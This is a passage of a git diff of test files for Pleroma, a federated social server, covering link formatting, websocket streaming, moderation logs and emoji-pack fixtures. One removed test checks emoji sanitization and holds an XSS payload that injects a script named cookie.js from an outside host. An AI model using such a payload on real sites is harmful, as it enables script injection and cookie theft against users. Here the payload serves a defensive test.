+{"@context":["https://www.w3.org/ns/activitystreams","https://patch.cx/schemas/litepub-0.1.jsonld",{"@language":"und"}],"attachment":[],"endpoints":{"oauthAuthorizationEndpoint":"https://patch.cx/oauth/authorize","oauthRegistrationEndpoint":"https://patch.cx/api/v1/apps","oauthTokenEndpoint":"https://patch.cx/oauth/token","sharedInbox":"https://patch.cx/inbox"},"followers":"https://patch.cx/users/rin/followers","following":"https://patch.cx/users/rin/following","icon":{"type":"Image","url":"https://patch.cx/media/4e914f5b84e4a259a3f6c2d2edc9ab642f2ab05f3e3d9c52c81fc2d984b3d51e.jpg"},"id":"https://patch.cx/users/rin","image":{"type":"Image","url":"https://patch.cx/media/f739efddefeee49c6e67e947c4811fdc911785c16ae43da4c3684051fbf8da6a.jpg?name=f739efddefeee49c6e67e947c4811fdc911785c16ae43da4c3684051fbf8da6a.jpg"},"inbox":"https://patch.cx/users/rin/inbox","manuallyApprovesFollowers":false,"name":"rinpatch","outbox":"https://patch.cx/users/rin/outbox","preferredUsername":"rin","publicKey":{"id":"https://patch.cx/users/rin#main-key","owner":"https://patch.cx/users/rin","publicKeyPem":"-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5DLtwGXNZElJyxFGfcVc\nXANhaMadj/iYYQwZjOJTV9QsbtiNBeIK54PJrYuU0/0YIdrvS1iqheX5IwXRhcwa\nhm3ZyLz7XeN9st7FBni4BmZMBtMpxAuYuu5p/jbWy13qAiYOhPreCx0wrWgm/lBD\n9mkgaxIxPooBE0S4ZWEJIDIV1Vft3AWcRUyWW1vIBK0uZzs6GYshbQZB952S0yo4\nFzI1hABGHncH8UvuFauh4EZ8tY7/X5I0pGRnDOcRN1dAht5w5yTA+6r5kebiFQjP\nIzN/eCO/a9Flrj9YGW7HDNtjSOH0A31PLRGlJtJO3yK57dnf5ppyCZGfL4emShQo\ncQIDAQAB\n-----END PUBLIC KEY-----\n\n"},"summary":"your friendly neighborhood pleroma developer<br>I like cute things and distributed systems, and really hate delete and redrafts","tag":[],"type":"Person","url":"https://patch.cx/users/rin"} \ No newline at end of file
diff --git a/test/flake_id_test.exs b/test/flake_id_test.exs
deleted file mode 100644
index 85ed5bbdf..000000000
--- a/test/flake_id_test.exs
+++ /dev/null
@@ -1,47 +0,0 @@
-# Pleroma: A lightweight social networking server
-# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
-# SPDX-License-Identifier: AGPL-3.0-only
-
-defmodule Pleroma.FlakeIdTest do
- use Pleroma.DataCase
- import Kernel, except: [to_string: 1]
- import Pleroma.FlakeId
-
- describe "fake flakes (compatibility with older serial integers)" do
- test "from_string/1" do
- fake_flake = <<0::integer-size(64), 42::integer-size(64)>>
- assert from_string("42") == fake_flake
- assert from_string(42) == fake_flake
- end
-
- test "zero or -1 is a null flake" do
- fake_flake = <<0::integer-size(128)>>
- assert from_string("0") == fake_flake
- assert from_string("-1") == fake_flake
- end
-
- test "to_string/1" do
- fake_flake = <<0::integer-size(64), 42::integer-size(64)>>
- assert to_string(fake_flake) == "42"
- end
- end
-
- test "ecto type behaviour" do
- flake = <<0, 0, 1, 104, 80, 229, 2, 235, 140, 22, 69, 201, 53, 210, 0, 0>>
- flake_s = "9eoozpwTul5mjSEDRI"
-
- assert cast(flake) == {:ok, flake_s}
- assert cast(flake_s) == {:ok, flake_s}
-
- assert load(flake) == {:ok, flake_s}
- assert load(flake_s) == {:ok, flake_s}
-
- assert dump(flake_s) == {:ok, flake}
- assert dump(flake) == {:ok, flake}
- end
-
- test "is_flake_id?/1" do
- assert is_flake_id?("9eoozpwTul5mjSEDRI")
- refute is_flake_id?("http://example.com/activities/3ebbadd1-eb14-4e20-8118-b6f79c0c7b0b")
- end
-end
diff --git a/test/formatter_test.exs b/test/formatter_test.exs
index bfa673049..3bff51527 100644
--- a/test/formatter_test.exs
+++ b/test/formatter_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.FormatterTest do
@@ -19,7 +19,7 @@ defmodule Pleroma.FormatterTest do
text = "I love #cofe and #2hu"
expected_text =
- "I love <a class='hashtag' data-tag='cofe' href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a class='hashtag' data-tag='2hu' href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>"
+ ~s(I love <a class="hashtag" data-tag="cofe" href="http://localhost:4001/tag/cofe" rel="tag ugc">#cofe</a> and <a class="hashtag" data-tag="2hu" href="http://localhost:4001/tag/2hu" rel="tag ugc">#2hu</a>)
assert {^expected_text, [], _tags} = Formatter.linkify(text)
end
@@ -28,7 +28,7 @@ defmodule Pleroma.FormatterTest do
text = "#fact_3: pleroma does what mastodon't"
expected_text =
- "<a class='hashtag' data-tag='fact_3' href='http://localhost:4001/tag/fact_3' rel='tag'>#fact_3</a>: pleroma does what mastodon't"
+ ~s(<a class="hashtag" data-tag="fact_3" href="http://localhost:4001/tag/fact_3" rel="tag ugc">#fact_3</a>: pleroma does what mastodon't)
assert {^expected_text, [], _tags} = Formatter.linkify(text)
end
@@ -39,21 +39,21 @@ defmodule Pleroma.FormatterTest do
text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ."
expected =
- "Hey, check out <a href=\"https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla\">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> ."
+ ~S(Hey, check out <a href="https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla" rel="ugc">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> .)
assert {^expected, [], []} = Formatter.linkify(text)
text = "https://mastodon.social/@lambadalambda"
expected =
- "<a href=\"https://mastodon.social/@lambadalambda\">https://mastodon.social/@lambadalambda</a>"
+ ~S(<a href="https://mastodon.social/@lambadalambda" rel="ugc">https://mastodon.social/@lambadalambda</a>)
assert {^expected, [], []} = Formatter.linkify(text)
text = "https://mastodon.social:4000/@lambadalambda"
expected =
- "<a href=\"https://mastodon.social:4000/@lambadalambda\">https://mastodon.social:4000/@lambadalambda</a>"
+ ~S(<a href="https://mastodon.social:4000/@lambadalambda" rel="ugc">https://mastodon.social:4000/@lambadalambda</a>)
assert {^expected, [], []} = Formatter.linkify(text)
@@ -63,55 +63,57 @@ defmodule Pleroma.FormatterTest do
assert {^expected, [], []} = Formatter.linkify(text)
text = "http://www.cs.vu.nl/~ast/intel/"
- expected = "<a href=\"http://www.cs.vu.nl/~ast/intel/\">http://www.cs.vu.nl/~ast/intel/</a>"
+
+ expected =
+ ~S(<a href="http://www.cs.vu.nl/~ast/intel/" rel="ugc">http://www.cs.vu.nl/~ast/intel/</a>)
assert {^expected, [], []} = Formatter.linkify(text)
text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087"
expected =
- "<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"
+ "<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\" rel=\"ugc\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"
assert {^expected, [], []} = Formatter.linkify(text)
text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul"
expected =
- "<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>"
+ "<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\" rel=\"ugc\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>"
assert {^expected, [], []} = Formatter.linkify(text)
text = "https://www.google.co.jp/search?q=Nasim+Aghdam"
expected =
- "<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>"
+ "<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\" rel=\"ugc\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>"
assert {^expected, [], []} = Formatter.linkify(text)
text = "https://en.wikipedia.org/wiki/Duff's_device"
expected =
- "<a href=\"https://en.wikipedia.org/wiki/Duff's_device\">https://en.wikipedia.org/wiki/Duff's_device</a>"
+ "<a href=\"https://en.wikipedia.org/wiki/Duff's_device\" rel=\"ugc\">https://en.wikipedia.org/wiki/Duff's_device</a>"
assert {^expected, [], []} = Formatter.linkify(text)
text = "https://pleroma.com https://pleroma.com/sucks"
expected =
- "<a href=\"https://pleroma.com\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\">https://pleroma.com/sucks</a>"
+ "<a href=\"https://pleroma.com\" rel=\"ugc\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\" rel=\"ugc\">https://pleroma.com/sucks</a>"
assert {^expected, [], []} = Formatter.linkify(text)
text = "xmpp:contact@hacktivis.me"
- expected = "<a href=\"xmpp:contact@hacktivis.me\">xmpp:contact@hacktivis.me</a>"
+ expected = "<a href=\"xmpp:contact@hacktivis.me\" rel=\"ugc\">xmpp:contact@hacktivis.me</a>"
assert {^expected, [], []} = Formatter.linkify(text)
text =
"magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com"
- expected = "<a href=\"#{text}\">#{text}</a>"
+ expected = "<a href=\"#{text}\" rel=\"ugc\">#{text}</a>"
assert {^expected, [], []} = Formatter.linkify(text)
end
@@ -135,13 +137,13 @@ defmodule Pleroma.FormatterTest do
assert length(mentions) == 3
expected_text =
- "<span class='h-card'><a data-user='#{gsimg.id}' class='u-url mention' href='#{
+ ~s(<span class="h-card"><a data-user="#{gsimg.id}" class="u-url mention" href="#{
gsimg.ap_id
- }'>@<span>gsimg</span></a></span> According to <span class='h-card'><a data-user='#{
+ }" rel="ugc">@<span>gsimg</span></a></span> According to <span class="h-card"><a data-user="#{
archaeme.id
- }' class='u-url mention' href='#{"https://archeme/@archa_eme_"}'>@<span>archa_eme_</span></a></span>, that is @daggsy. Also hello <span class='h-card'><a data-user='#{
+ }" class="u-url mention" href="#{"https://archeme/@archa_eme_"}" rel="ugc">@<span>archa_eme_</span></a></span>, that is @daggsy. Also hello <span class="h-card"><a data-user="#{
archaeme_remote.id
- }' class='u-url mention' href='#{archaeme_remote.ap_id}'>@<span>archaeme</span></a></span>"
+ }" class="u-url mention" href="#{archaeme_remote.ap_id}" rel="ugc">@<span>archaeme</span></a></span>)
assert expected_text == text
end
@@ -156,7 +158,9 @@ defmodule Pleroma.FormatterTest do
assert length(mentions) == 1
expected_text =
- "<span class='h-card'><a data-user='#{mike.id}' class='u-url mention' href='#{mike.ap_id}'>@<span>mike</span></a></span> test"
+ ~s(<span class="h-card"><a data-user="#{mike.id}" class="u-url mention" href="#{
+ mike.ap_id
+ }" rel="ugc">@<span>mike</span></a></span> test)
assert expected_text == text
end
@@ -170,7 +174,7 @@ defmodule Pleroma.FormatterTest do
assert length(mentions) == 1
expected_text =
- "<span class='h-card'><a data-user='#{o.id}' class='u-url mention' href='#{o.ap_id}'>@<span>o</span></a></span> hi"
+ ~s(<span class="h-card"><a data-user="#{o.id}" class="u-url mention" href="#{o.ap_id}" rel="ugc">@<span>o</span></a></span> hi)
assert expected_text == text
end
@@ -192,13 +196,17 @@ defmodule Pleroma.FormatterTest do
assert mentions == [{"@#{user.nickname}", user}, {"@#{other_user.nickname}", other_user}]
assert expected_text ==
- "<span class='h-card'><a data-user='#{user.id}' class='u-url mention' href='#{
+ ~s(<span class="h-card"><a data-user="#{user.id}" class="u-url mention" href="#{
user.ap_id
- }'>@<span>#{user.nickname}</span></a></span> <span class='h-card'><a data-user='#{
+ }" rel="ugc">@<span>#{user.nickname}</span></a></span> <span class="h-card"><a data-user="#{
other_user.id
- }' class='u-url mention' href='#{other_user.ap_id}'>@<span>#{other_user.nickname}</span></a></span> hey dudes i hate <span class='h-card'><a data-user='#{
+ }" class="u-url mention" href="#{other_user.ap_id}" rel="ugc">@<span>#{
+ other_user.nickname
+ }</span></a></span> hey dudes i hate <span class="h-card"><a data-user="#{
third_user.id
- }' class='u-url mention' href='#{third_user.ap_id}'>@<span>#{third_user.nickname}</span></a></span>"
+ }" class="u-url mention" href="#{third_user.ap_id}" rel="ugc">@<span>#{
+ third_user.nickname
+ }</span></a></span>)
end
test "given the 'safe_mention' option, it will still work without any mention" do
@@ -217,6 +225,27 @@ defmodule Pleroma.FormatterTest do
assert expected_text =~ "how are you doing?"
end
+
+ test "it can parse mentions and return the relevant users" do
+ text =
+ "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm"
+
+ o = insert(:user, %{nickname: "o"})
+ jimm = insert(:user, %{nickname: "jimm"})
+ gsimg = insert(:user, %{nickname: "gsimg"})
+ archaeme = insert(:user, %{nickname: "archaeme"})
+ archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
+
+ expected_mentions = [
+ {"@archaeme", archaeme},
+ {"@archaeme@archae.me", archaeme_remote},
+ {"@gsimg", gsimg},
+ {"@jimm", jimm},
+ {"@o", o}
+ ]
+
+ assert {_text, ^expected_mentions, []} = Formatter.linkify(text)
+ end
end
describe ".parse_tags" do
@@ -234,69 +263,6 @@ defmodule Pleroma.FormatterTest do
end
end
- test "it can parse mentions and return the relevant users" do
- text =
- "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm"
-
- o = insert(:user, %{nickname: "o"})
- jimm = insert(:user, %{nickname: "jimm"})
- gsimg = insert(:user, %{nickname: "gsimg"})
- archaeme = insert(:user, %{nickname: "archaeme"})
- archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
-
- expected_mentions = [
- {"@archaeme", archaeme},
- {"@archaeme@archae.me", archaeme_remote},
- {"@gsimg", gsimg},
- {"@jimm", jimm},
- {"@o", o}
- ]
-
- assert {_text, ^expected_mentions, []} = Formatter.linkify(text)
- end
-
- test "it adds cool emoji" do
- text = "I love :firefox:"
-
- expected_result =
- "I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\" />"
-
- assert Formatter.emojify(text) == expected_result
- end
-
- test "it does not add XSS emoji" do
- text =
- "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
-
- custom_emoji = %{
- "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
- "https://placehold.it/1x1"
- }
-
- expected_result =
- "I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
-
- assert Formatter.emojify(text, custom_emoji) == expected_result
- end
-
- test "it returns the emoji used in the text" do
- text = "I love :firefox:"
-
- assert Formatter.get_emoji(text) == [
- {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"]}
- ]
- end
-
- test "it returns a nice empty result when no emojis are present" do
- text = "I love moominamma"
- assert Formatter.get_emoji(text) == []
- end
-
- test "it doesn't die when text is absent" do
- text = nil
- assert Formatter.get_emoji(text) == []
- end
-
test "it escapes HTML in plain text" do
text = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"
expected = "hello &amp; world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"
diff --git a/test/html_test.exs b/test/html_test.exs
index b8906c46a..306ad3b3b 100644
--- a/test/html_test.exs
+++ b/test/html_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.HTMLTest do
diff --git a/test/instance_static/emoji/test_pack/blank.png b/test/instance_static/emoji/test_pack/blank.png
new file mode 100644
index 000000000..8f50fa023
--- /dev/null
+++ b/test/instance_static/emoji/test_pack/blank.png
Binary files differ
diff --git a/test/instance_static/emoji/test_pack/pack.json b/test/instance_static/emoji/test_pack/pack.json
new file mode 100644
index 000000000..5a8ee75f9
--- /dev/null
+++ b/test/instance_static/emoji/test_pack/pack.json
@@ -0,0 +1,13 @@
+{
+ "pack": {
+ "license": "Test license",
+ "homepage": "https://pleroma.social",
+ "description": "Test description",
+
+ "share-files": true
+ },
+
+ "files": {
+ "blank": "blank.png"
+ }
+}
diff --git a/test/instance_static/emoji/test_pack_for_import/blank.png b/test/instance_static/emoji/test_pack_for_import/blank.png
new file mode 100644
index 000000000..8f50fa023
--- /dev/null
+++ b/test/instance_static/emoji/test_pack_for_import/blank.png
Binary files differ
diff --git a/test/instance_static/emoji/test_pack_nonshared/nonshared.zip b/test/instance_static/emoji/test_pack_nonshared/nonshared.zip
new file mode 100644
index 000000000..148446c64
--- /dev/null
+++ b/test/instance_static/emoji/test_pack_nonshared/nonshared.zip
Binary files differ
diff --git a/test/instance_static/emoji/test_pack_nonshared/pack.json b/test/instance_static/emoji/test_pack_nonshared/pack.json
new file mode 100644
index 000000000..b96781f81
--- /dev/null
+++ b/test/instance_static/emoji/test_pack_nonshared/pack.json
@@ -0,0 +1,16 @@
+{
+ "pack": {
+ "license": "Test license",
+ "homepage": "https://pleroma.social",
+ "description": "Test description",
+
+ "fallback-src": "https://nonshared-pack",
+ "fallback-src-sha256": "74409E2674DAA06C072729C6C8426C4CB3B7E0B85ED77792DB7A436E11D76DAF",
+
+ "share-files": false
+ },
+
+ "files": {
+ "blank": "blank.png"
+ }
+}
diff --git a/test/integration/mastodon_websocket_test.exs b/test/integration/mastodon_websocket_test.exs
index 3975cdcd6..63fce07bb 100644
--- a/test/integration/mastodon_websocket_test.exs
+++ b/test/integration/mastodon_websocket_test.exs
@@ -1,16 +1,16 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Integration.MastodonWebsocketTest do
use Pleroma.DataCase
+ import ExUnit.CaptureLog
import Pleroma.Factory
alias Pleroma.Integration.WebsocketClient
alias Pleroma.Web.CommonAPI
alias Pleroma.Web.OAuth
- alias Pleroma.Web.Streamer
@path Pleroma.Web.Endpoint.url()
|> URI.parse()
@@ -18,14 +18,9 @@ defmodule Pleroma.Integration.MastodonWebsocketTest do
|> Map.put(:path, "/api/v1/streaming")
|> URI.to_string()
- setup do
- GenServer.start(Streamer, %{}, name: Streamer)
-
- on_exit(fn ->
- if pid = Process.whereis(Streamer) do
- Process.exit(pid, :kill)
- end
- end)
+ setup_all do
+ start_supervised(Pleroma.Web.Streamer.supervisor())
+ :ok
end
def start_socket(qs \\ nil, headers \\ []) do
@@ -39,13 +34,19 @@ defmodule Pleroma.Integration.MastodonWebsocketTest do
end
test "refuses invalid requests" do
- assert {:error, {400, _}} = start_socket()
- assert {:error, {404, _}} = start_socket("?stream=ncjdk")
+ capture_log(fn ->
+ assert {:error, {400, _}} = start_socket()
+ assert {:error, {404, _}} = start_socket("?stream=ncjdk")
+ Process.sleep(30)
+ end)
end
test "requires authentication and a valid token for protected streams" do
- assert {:error, {403, _}} = start_socket("?stream=user&access_token=aaaaaaaaaaaa")
- assert {:error, {403, _}} = start_socket("?stream=user")
+ capture_log(fn ->
+ assert {:error, {403, _}} = start_socket("?stream=user&access_token=aaaaaaaaaaaa")
+ assert {:error, {403, _}} = start_socket("?stream=user")
+ Process.sleep(30)
+ end)
end
test "allows public streams without authentication" do
@@ -67,7 +68,7 @@ defmodule Pleroma.Integration.MastodonWebsocketTest do
assert {:ok, json} = Jason.decode(json["payload"])
view_json =
- Pleroma.Web.MastodonAPI.StatusView.render("status.json", activity: activity, for: nil)
+ Pleroma.Web.MastodonAPI.StatusView.render("show.json", activity: activity, for: nil)
|> Jason.encode!()
|> Jason.decode!()
@@ -100,19 +101,31 @@ defmodule Pleroma.Integration.MastodonWebsocketTest do
test "accepts the 'user' stream", %{token: token} = _state do
assert {:ok, _} = start_socket("?stream=user&access_token=#{token.token}")
- assert {:error, {403, "Forbidden"}} = start_socket("?stream=user")
+
+ assert capture_log(fn ->
+ assert {:error, {403, "Forbidden"}} = start_socket("?stream=user")
+ Process.sleep(30)
+ end) =~ ":badarg"
end
test "accepts the 'user:notification' stream", %{token: token} = _state do
assert {:ok, _} = start_socket("?stream=user:notification&access_token=#{token.token}")
- assert {:error, {403, "Forbidden"}} = start_socket("?stream=user:notification")
+
+ assert capture_log(fn ->
+ assert {:error, {403, "Forbidden"}} = start_socket("?stream=user:notification")
+ Process.sleep(30)
+ end) =~ ":badarg"
end
test "accepts valid token on Sec-WebSocket-Protocol header", %{token: token} do
assert {:ok, _} = start_socket("?stream=user", [{"Sec-WebSocket-Protocol", token.token}])
- assert {:error, {403, "Forbidden"}} =
- start_socket("?stream=user", [{"Sec-WebSocket-Protocol", "I am a friend"}])
+ assert capture_log(fn ->
+ assert {:error, {403, "Forbidden"}} =
+ start_socket("?stream=user", [{"Sec-WebSocket-Protocol", "I am a friend"}])
+
+ Process.sleep(30)
+ end) =~ ":badarg"
end
end
end
diff --git a/test/list_test.exs b/test/list_test.exs
index 8efba75ea..ba79251da 100644
--- a/test/list_test.exs
+++ b/test/list_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.ListTest do
diff --git a/test/moderation_log_test.exs b/test/moderation_log_test.exs
index c78708471..a39a00e02 100644
--- a/test/moderation_log_test.exs
+++ b/test/moderation_log_test.exs
@@ -30,8 +30,7 @@ defmodule Pleroma.ModerationLogTest do
log = Repo.one(ModerationLog)
- assert ModerationLog.get_log_entry_message(log) ==
- "@#{moderator.nickname} deleted user @#{subject1.nickname}"
+ assert log.data["message"] == "@#{moderator.nickname} deleted user @#{subject1.nickname}"
end
test "logging user creation by moderator", %{
@@ -48,7 +47,7 @@ defmodule Pleroma.ModerationLogTest do
log = Repo.one(ModerationLog)
- assert ModerationLog.get_log_entry_message(log) ==
+ assert log.data["message"] ==
"@#{moderator.nickname} created users: @#{subject1.nickname}, @#{subject2.nickname}"
end
@@ -63,7 +62,7 @@ defmodule Pleroma.ModerationLogTest do
log = Repo.one(ModerationLog)
- assert ModerationLog.get_log_entry_message(log) ==
+ assert log.data["message"] ==
"@#{admin.nickname} made @#{subject2.nickname} follow @#{subject1.nickname}"
end
@@ -78,7 +77,7 @@ defmodule Pleroma.ModerationLogTest do
log = Repo.one(ModerationLog)
- assert ModerationLog.get_log_entry_message(log) ==
+ assert log.data["message"] ==
"@#{admin.nickname} made @#{subject2.nickname} unfollow @#{subject1.nickname}"
end
@@ -100,8 +99,7 @@ defmodule Pleroma.ModerationLogTest do
tags = ["foo", "bar"] |> Enum.join(", ")
- assert ModerationLog.get_log_entry_message(log) ==
- "@#{admin.nickname} added tags: #{tags} to users: #{users}"
+ assert log.data["message"] == "@#{admin.nickname} added tags: #{tags} to users: #{users}"
end
test "logging user untagged by admin", %{admin: admin, subject1: subject1, subject2: subject2} do
@@ -122,7 +120,7 @@ defmodule Pleroma.ModerationLogTest do
tags = ["foo", "bar"] |> Enum.join(", ")
- assert ModerationLog.get_log_entry_message(log) ==
+ assert log.data["message"] ==
"@#{admin.nickname} removed tags: #{tags} from users: #{users}"
end
@@ -137,8 +135,7 @@ defmodule Pleroma.ModerationLogTest do
log = Repo.one(ModerationLog)
- assert ModerationLog.get_log_entry_message(log) ==
- "@#{moderator.nickname} made @#{subject1.nickname} moderator"
+ assert log.data["message"] == "@#{moderator.nickname} made @#{subject1.nickname} moderator"
end
test "logging user revoke by moderator", %{moderator: moderator, subject1: subject1} do
@@ -152,7 +149,7 @@ defmodule Pleroma.ModerationLogTest do
log = Repo.one(ModerationLog)
- assert ModerationLog.get_log_entry_message(log) ==
+ assert log.data["message"] ==
"@#{moderator.nickname} revoked moderator role from @#{subject1.nickname}"
end
@@ -166,7 +163,7 @@ defmodule Pleroma.ModerationLogTest do
log = Repo.one(ModerationLog)
- assert ModerationLog.get_log_entry_message(log) ==
+ assert log.data["message"] ==
"@#{moderator.nickname} followed relay: https://example.org/relay"
end
@@ -180,7 +177,7 @@ defmodule Pleroma.ModerationLogTest do
log = Repo.one(ModerationLog)
- assert ModerationLog.get_log_entry_message(log) ==
+ assert log.data["message"] ==
"@#{moderator.nickname} unfollowed relay: https://example.org/relay"
end
@@ -202,7 +199,7 @@ defmodule Pleroma.ModerationLogTest do
log = Repo.one(ModerationLog)
- assert ModerationLog.get_log_entry_message(log) ==
+ assert log.data["message"] ==
"@#{moderator.nickname} updated report ##{report.id} with 'resolved' state"
end
@@ -224,7 +221,7 @@ defmodule Pleroma.ModerationLogTest do
log = Repo.one(ModerationLog)
- assert ModerationLog.get_log_entry_message(log) ==
+ assert log.data["message"] ==
"@#{moderator.nickname} responded with 'look at this' to report ##{report.id}"
end
@@ -242,7 +239,7 @@ defmodule Pleroma.ModerationLogTest do
log = Repo.one(ModerationLog)
- assert ModerationLog.get_log_entry_message(log) ==
+ assert log.data["message"] ==
"@#{moderator.nickname} updated status ##{note.id}, set sensitive: 'true'"
end
@@ -260,7 +257,7 @@ defmodule Pleroma.ModerationLogTest do
log = Repo.one(ModerationLog)
- assert ModerationLog.get_log_entry_message(log) ==
+ assert log.data["message"] ==
"@#{moderator.nickname} updated status ##{note.id}, set visibility: 'private'"
end
@@ -278,7 +275,7 @@ defmodule Pleroma.ModerationLogTest do
log = Repo.one(ModerationLog)
- assert ModerationLog.get_log_entry_message(log) ==
+ assert log.data["message"] ==
"@#{moderator.nickname} updated status ##{note.id}, set sensitive: 'true', visibility: 'private'"
end
@@ -294,8 +291,7 @@ defmodule Pleroma.ModerationLogTest do
log = Repo.one(ModerationLog)
- assert ModerationLog.get_log_entry_message(log) ==
- "@#{moderator.nickname} deleted status ##{note.id}"
+ assert log.data["message"] == "@#{moderator.nickname} deleted status ##{note.id}"
end
end
end
diff --git a/test/notification_test.exs b/test/notification_test.exs
index 2a52dad8d..54c0f9877 100644
--- a/test/notification_test.exs
+++ b/test/notification_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.NotificationTest do
@@ -8,6 +8,7 @@ defmodule Pleroma.NotificationTest do
import Pleroma.Factory
alias Pleroma.Notification
+ alias Pleroma.Tests.ObanHelpers
alias Pleroma.User
alias Pleroma.Web.ActivityPub.Transmogrifier
alias Pleroma.Web.CommonAPI
@@ -68,16 +69,7 @@ defmodule Pleroma.NotificationTest do
end
describe "create_notification" do
- setup do
- GenServer.start(Streamer, %{}, name: Streamer)
-
- on_exit(fn ->
- if pid = Process.whereis(Streamer) do
- Process.exit(pid, :kill)
- end
- end)
- end
-
+ @tag needs_streamer: true
test "it creates a notification for user and send to the 'user' and the 'user:notification' stream" do
user = insert(:user)
task = Task.async(fn -> assert_receive {:text, _}, 4_000 end)
@@ -588,7 +580,8 @@ defmodule Pleroma.NotificationTest do
refute Enum.empty?(Notification.for_user(other_user))
- User.delete(user)
+ {:ok, job} = User.delete(user)
+ ObanHelpers.perform(job)
assert Enum.empty?(Notification.for_user(other_user))
end
@@ -633,6 +626,7 @@ defmodule Pleroma.NotificationTest do
}
{:ok, _delete_activity} = Transmogrifier.handle_incoming(delete_user_message)
+ ObanHelpers.perform_all()
assert Enum.empty?(Notification.for_user(local_user))
end
diff --git a/test/object_test.exs b/test/object_test.exs
index ba96aeea4..dd228c32f 100644
--- a/test/object_test.exs
+++ b/test/object_test.exs
@@ -1,13 +1,16 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.ObjectTest do
use Pleroma.DataCase
+ import ExUnit.CaptureLog
import Pleroma.Factory
import Tesla.Mock
+ alias Pleroma.Activity
alias Pleroma.Object
alias Pleroma.Repo
+ alias Pleroma.Web.CommonAPI
setup do
mock(fn env -> apply(HttpRequestMock, :request, [env]) end)
@@ -89,4 +92,110 @@ defmodule Pleroma.ObjectTest do
)
end
end
+
+ describe "get_by_id_and_maybe_refetch" do
+ setup do
+ mock(fn
+ %{method: :get, url: "https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d"} ->
+ %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/poll_original.json")}
+
+ env ->
